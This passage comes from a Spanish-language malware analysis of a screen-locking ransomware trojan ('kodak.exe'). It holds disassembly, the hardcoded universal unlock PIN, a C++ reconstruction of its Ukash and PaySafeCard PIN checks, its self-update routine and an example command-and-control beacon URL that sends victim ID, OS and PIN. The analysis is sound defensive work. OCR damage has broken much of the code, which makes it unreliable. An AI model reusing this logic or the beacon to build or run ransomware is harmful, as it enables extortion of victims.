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.text:004024FD push ecx ; _DWORD
.text:004024FE call ds:StrStrIA

.text:00402504 test eax, eax

.text:00402506 jz loc_402686

.text:0040250C call remove_b_flag

.text:00402511 mov edx, ds:hHeap

.text:00402517 push 104h ; dwBytes
.text:0040251C push 8 ; dwFlags
.text:0040251E push edx ; hHeap
.text:0040251F call ds:HeapAlloc

.text:00402525 mov esi, eax

.text:00402527 push 208h ; nSize
.text:0040252C lea eax, [esp+234h]
.text:00402533 push eax ; lpDst
.text:00402534 push offset Src ; "SAPPDATAS%"
.text:00402539 call ds:ExpandEnvironmentStringsW
.text:0040253F push offset a_bmp ; ".bmp"
.text:00402544 push offset aPic ; "pic"
.text:00402549 push offset ValueName ; "kodak"
.text:0040254E lea ecx, [esp+23Ch]

El troyano intenta borrar pic.bmp, kodak.exe, ip.txt y old.tmp (veremos qué es
este Ultimo mas adelante). O sea, desde el servidor se le puede dar una orden a
todos los infectados de que se desinfecten ellos mismos.

Hasta ahora, este es el codigo inyectado en Explorer.exe. Volvamos a Kodak.exe.

El troyano comprueba si se ha creado bien el fichero BMP. Si es asi, intenta borrar
el fichero old.tmp y después vuelve a crear dos hilos:

e threadPinWindow: Responsable de la pantalla que bloquea el sistema.
e threadAntiTools: Responsable de matar los procesos de cierto software: taskmgr.exe,
regedit.exe, seth.exe, msconfig.exe, utilman.exe y narrator.exe.

2.5 El hilo threadPinWindow

Este proceso, responsable de pintar la imagen en pantalla, carga también la
direccion IP de ip.txt (para que aparezca en la imagen incrustada) y contiene dos
botones radio para diferenciar si el pago viene de Ukash o PaySafeCard. También
una caja para meter el PIN y el botén de Ok. Para mostrarlo, hemos sustituido
pic.bmp con otra imagen mas “sencilla” y cargado el troyano.
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OMG!!!
I HAVE BEEN

INFECTED

¢Qué ocurre cuando se pulsa “OK"?

.text:00404F90 sub eax, 10002
.text:00404F95 Jjz btnOKClicked
.text:0040514C mov eax, ds:hEdit
.text:00405151 push 104h ; _DWORD
.text:00405156 push offset buffer ; _DWORD
.text:0040515B push eax ; _DWORD
.text:0040515C call ds:GetWindowTextW
.text:00405162 push offset al029384756 ;
"1029384756"

.text:00405167 push offset buffer ; _DWORD
.text:0040516C call ds:StrStrIw
.text:00405172 test eax, eax

.text:00405174 jz short no_universal_pin
.text:00405176 push 0 ; _DWORD
.text:00405178 call ds:PostQuitMessage
.text:0040517E

.text:0040517E no_universal_pin: ; CODE XREF:
WindowProc+5E4j

El troyano compara lo que se introduce en la caja con el PIN universal que
contienen en su cédigo “1029384756"”. Esta es la forma mas sencilla de
deshacerse del troyano. La ventana de destruye si el cédigo coincide.

Si no, dependiendo del tipo de codigo elegido (Ukash o PaySafeCard)...

2.6 Ukash
.text:0040517E cmp byte ptr ds:radioButtonFlag, O
.text:00405185 jz Paysafecard_button_checked
.text:0040518B call checkPIN
.text:00405190 test al, al

www.hispasec.com .text:00405192 jz bad_pin
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Ep .text:00405198 push offset buffer ; passed pin
code
.text:0040519D mov edi, offset aPinok ; "pinok"
.text:004051A2 call writeToFile
.text:004051A7 add esp, 4
.text:004051AA push 0
.text:004051AC mov ebx, offset a_exel ; ".exe —-i"
.text:004051B1 mov edi, offset ValueName ; "kodak"
.text:004051B6 call getKodakPath
.text:004051BB mov esi, eax
.text:004051BD call regChangeKodak

Si checkPIN devuelve “True”, se almacena el pin en pinok.txt y se modifica el valor
del registro de:

$APPDATA%\kodak.exe -Db

a

$APPDATA% \kodak.exe -i

De forma que en el siguiente reinicio, se lanzara con ese parametro.
Hemos “traducido” CheckPIN a C++.

2.7 Calcular si un PIN de Ukash es valido

#include "stdafx.h"

#include <Windows.h>

#include <Shlwapi.h>

#tpragma comment(lib, "Shlwapi.lib")

int main(int argc, char* argv[])

{

char *pin = "6337180110129384751";

char Stringl[20];

char *tab[] = {"ee1",
"e11",
"918",
"e21",
"@22",
"923",
"024",
"@925",
"0926",
"e27",
"0928",

www.hispasec.com "029",
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"e31",
"e34",
"@35",
"e36",
"e37",
"939",
"e41",
"e42",
"e43",
"046",
"151"};
if(strlen(pin) != 19)

{
printf("BAD PIN sorry");
goto error;

}

int vl = 9;

bool pinOK = false;
do
{
lstrcpyA(Stringl, "633718");
lstrcatA(Stringl, tab[v1l]);
if ( StrStrIA(pin, Stringl) )
pinOK = true;

printf("Correct pin base value: %s\n",Stringl);
++v1;

b
while ( vl <= 23 );

if ( StrStrIA(pin, "0000000000000000")
|| strStrIA(pin, "0000000000000001")
|| StrStrIA(pin, "0000000000000011")
|| strstrIA(pin, "1111111111111111")
|| strStrIA(pin, "2222222222222222")
|| StrStrIA(pin, "3333333333333333")
|| strStrIA(pin, "4444444444444444")
|| strStrIA(pin, "5555555555555555")
|| strStrIA(pin, "6666666666666666")
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StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,
StrStrIA(pin,

pinOK = false;

error:

}

Volcando el resultado. Estos son las partes validas de cddigo:

printf("pinoK

return 0;

"7777777777777777")
"8888388838888888" )
"9999999999999999")
"12345")

"6789")

"9876")

"54321")

"1111")

"2222")

"3333")

"4444")

"5555")

"6666")

"7777")

"8888")

"9999")

"0000") )

= %d",pin0OK);

Correct pin base value: 633718001
Correct pin base value: 633718011

Correct

pin base value: 633718018

Correct pin base value: 633718021
Correct pin base value: 633718022
Correct pin base value: 633718023
Correct pin base value: 633718024
Correct pin base value: 633718025
Correct pin base value: 633718026

Correct

pin base value: 633718027

Correct pin base value: 633718028
Correct pin base value: 633718029
Correct pin base value: 633718030
Correct pin base value: 633718031
Correct pin base value: 633718034
Correct pin base value: 633718035

Correct

pin base value: 633718036

Correct pin base value: 633718037
Correct pin base value: 633718039
Correct pin base value: 633718041
Correct pin base value: 633718042
Correct pin base value: 633718043
Correct pin base value: 633718046
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| Correct pin base value: 633718151

Pero solo la base, porque los cddigos, como indican las instrucciones, debe ser de
19 caracteres. Esto quiere decir que seran validos siempre que, por ejemplo
empiecen por esas cifras, y se rellene con lo que sea hasta que contenga 19
caracteres. Pero, 0jo, ese relleno no puede ser 1111,2222, o el resto de cadenas
“baneadas” que se muestran en el cédigo de mas arriba. Para aclararlo del todo:

o 6337181511212098234 seria valido.
o 6337181511212099999 no seria vélido (porque contiene 9999 y esta “prohibido” en
su cédigo)

2.8 PaySafeCard

.text:0040536B cmp byte ptr ds:radioButtonFlag+l,
0

.text:00405372 mov ebx, [esp+60h+var_54]
.text:00405376 jz loc_405554

.text:0040537C call checkPINPaysafecard
.text:00405381 test al, al

.text:00405383 jz loc_405508

.text:00405389 push offset buffer ; 1ip_address
.text:0040538E mov edi, offset aPinok ; "pinok"
.text:00405393 call writeToFile

.text:00405398 add esp, 4

.text:0040539B push 0

.text:0040539D mov ebx, offset a_exel ; ".exe —-i"
.text:004053A2 mov edi, offset ValueName ; "kodak"
.text:004053A7 call getKodakPath

.text:004053AC mov esi, eax

.text:004053AE call regChangeKodak

Hace lo mismo que en el caso de Ukash. Lo Unico que cambia es la funcién para
comprobar checkPin.

bool checkPINPaysafecard ()

{
bool pinOK = true;

if ( lstrlenW(pin) == 16 ) //pin should be 16 characters long
{
if ( StrStrIW(&pin, L'"0©000000000000000")
|| strstrIW(&pin, L"0000000000000001")
|| StrStrIW(&pin, L"0©000000000000011")
|| strStrIW(&pin, L"1111111111111111")
|| sStrStrIW(&pin, L"2222222222222222")
|| SstrStrIW(&pin, L"3333333333333333")
|| StrStrIW(&pin, L"4444444444444444™)
|| strstrIW(&pin, L"5555555555555555")
|| StrStrIW(&pin, L"6666666666666666")
|| strstrIW(&pin, L"7777777777777777")
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e || strStrIW(&pin, L"8838883888388888")

|| strstrIW(&pin, L"9999999999999999")
|| strstrIW(&pin, L"12345")
|| strstrIW(&pin, L"6789")
|| strstrIW(&pin, L"9876")
|| strstrIW(&pin, L"54321")
|| strStrIW(&pin, L"1111")
|| strstrIW(&pin, L"2222")
|| strstrIW(&pin, L"3333")
|| StrStrIW(&pin, L"4444")
|| strstrIW(&pin, L"5555")
|| strstrIW(&pin, L"6666")
|| strStrIW(&pin, L"7777")
|| strstrIW(&pin, L"8888")
|| strStrIW(&pin, L"9999")
|| strStrIW(&pin, L"@000") )
pinOK = false;

¥
else
{
pinOK = false;
¥
return pinOK;

Continuamos con el troyano.

También comprueba si existe una version actualizada de si mismo:

.text:00401ACB mov eax, ds:C_i_C_index
.text:00401ADO mov ecx, ds:scripts_arrayl[eax*4] ;
lpszServerName
.text:00401AD7 push offset aPartner_ 024 ;
"partner_ 024"
.text:00401ADC push ecx
.text :00401ADD push offset aS?userSUpgUpg ;
"/%s?user=%s&upg=upg"
.text:00401AE2 lea edx, [esp+774h]
.text:00401AE9 push 104h ; _DWORD
.text:00401AEE push edx ; _DWORD
.text:00401AEF call ds:wnsprintfA
.text:00401AF5 mov ecx, ds:C_i_C_index
.text:00401AFB mov ecx, ds:domains_arrayl[ecx*4]
.text:00401B02 lea eax, [esp+77Ch]
.text:00401B09 add esp, 14h
.text:00401B0OC push eax

IS PEEEE .text:00401BOD lea edi, [esp+55Ch]
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Ep .text:00401B14 call getRequest
.text:00401B19 add esp, 4
.text:00401B1C push offset aHttp ; "http://"
.text:00401B21 mov edx, edi
.text:00401B23 push edx ; _DWORD
.text:00401B24 call ds:StrStrIA

Si existe esa nueva version, el troyano se almacena como kodak.exe y la vieja
version como old.tmp. También comprueba si ya existe el PIN. Si es correcto, crea
un ID Unico de la victima, basado en esto:

//#define CSIDL_WINDOWS 0x0024 // GetWindowsDirectory()
SHGetFolderPathA(@, CSIDL_WINDOWS, ©, @, path);

PathRemoveFileSpecA(path);
GetVolumeNameForVolumeMountPointA(path,volumeGUID,100);

return extractGUID(volumeGUID)

También recoge la version del sistema operativo, y lo envia todo al atacante
creando una URL:

.text:00401EES push ebx

.text:00401EE6 call getOSVersion
.text:00401EEB mov ecx, ds:C_i_C_index
.text:00401EF1 mov edx, ds:scripts_arrays[ecx*4]
.text:00401EF8 push eax

.text:00401EF9 push edi

.text:00401EFA push offset aPartner_ 024 ;
"partner_ 024"

.text:00401EFF push edx

.text :00401F00 push offset aS?userSUidSOsI ;
"/%$s?user=%s&uid=%s&os=%i&pin=%s"

.text:00401F05 lea eax, [esp+678h]
.text:00401F0C push 104h ; _DWORD
.text:00401F11 push eax ;  urlPath
.text:00401F12 call ds:wnsprintfA

El resultado sera, por ejemplo:

http://lertionk05.be/loc/gate.php?user=partner 024&uid={D3666972-A3FC-11DC-
AD63-806D6172696F}&0s=2&pin=6337180110129384751

Si no hay PIN, envia la URL sin ese dato. Repite la comprobacion cada 13
segundos.

2.9 Ejecucion con el parametro -i

Esta opcidn sirve para borrar tmp.old (que si recordamos, era la version antigua si
existia una nueva) y vuelve a inyectarse en Explorer.exe.

2.10 Ejecucion con el parametro -u

Esta opcion es directamente inutil. Lo Unico que hace es salir del proceso, llamando
a ExitProcess.

www.hispasec.com
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